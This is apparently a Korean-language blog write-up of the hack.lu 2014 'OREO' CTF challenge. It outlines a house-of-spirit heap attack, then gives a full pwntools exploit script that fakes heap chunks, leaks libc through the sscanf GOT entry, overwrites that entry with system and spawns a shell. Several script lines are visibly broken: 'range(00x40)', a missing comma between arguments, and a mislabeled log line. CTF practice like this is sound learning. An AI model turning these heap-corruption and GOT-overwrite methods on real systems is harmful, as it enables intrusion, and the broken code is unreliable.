[hack.lu CTF 2014] OREO

2019. 7. 27. 00:42

오레오라는 문제를 풀어보았다.


house of spirit 공부하면서 풀어본 문제.



1. add메뉴를 통해 라이플을 0x40개만큼 만든다.

2. leave메뉴를 통해, 위의 라이플 0x40의 카운트를 fake chunk1로 하여 fake chunk2를 구성해준다.

3. house of spirit를 트리거하여 bss영역에 있는 fake chunk1을 free한다.

4. free된 fake chunk를 할당하여 notice에 적힌 ptr을 sscanf_got로 변경한다.

5. show stat을 통해 ssanf_addr leak 가능

6. leave를 통해 sscanf_got overwrite 가능. system으로 덮어씌우고, /bin/sh를 쳐준다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
from pwn import *
 
conn = process("./oreo")
conn.recvuntil("What would you like to do?")
 
def add(name, desc):
    conn.sendline("1")
    conn.sendline(name)
    conn.sendline(desc)
 
def show_r():
    conn.sendline("2")
    
def order():
    conn.sendline("3")
 
def leave(msg):
    conn.sendline("4")
    conn.sendline(msg)
    
def show_s():
    conn.sendline("5")
    
for i in range(00x40):
    add("asdf""asdf")
 
fake_chunk  = "A"*0x1c
fake_chunk += p32(0)
fake_chunk += p32(0)+p32(0x300)
leave(fake_chunk)
 
fake_addr = 0x804a2a8
 
add("A"*27+p32(fake_addr), "fake")
# all free, house of spirit
order()
 
 
# overwrite notice ptr
sscanf_got = 0x804A258
add("AA", p32(sscanf_got))
conn.recvuntil("Okay order submitted!\n")
 
#leak
show_s()
conn.recvuntil("Order Message: ")
sscanf_addr = u32(conn.recv(4))
log.info("sscanf_addr : " + hex(sscanf_addr))
 
base_addr = sscanf_addr-0x5c4c0
system_addr = base_addr + 0x3ada0
 
log.info("base_addr   : " + hex(sscanf_addr))
log.info("system_addr : " + hex(system_addr))
 
# overwrite sscanf_got -> system_addr
leave(p32(system_addr))
conn.sendline("/bin/sh")
 
conn.interactive()
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[2015 Hack.lu] bookstore  (0) 2019.08.01
[0CTF 2016] zerostorage  (0) 2019.07.26
[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11

+ Recent posts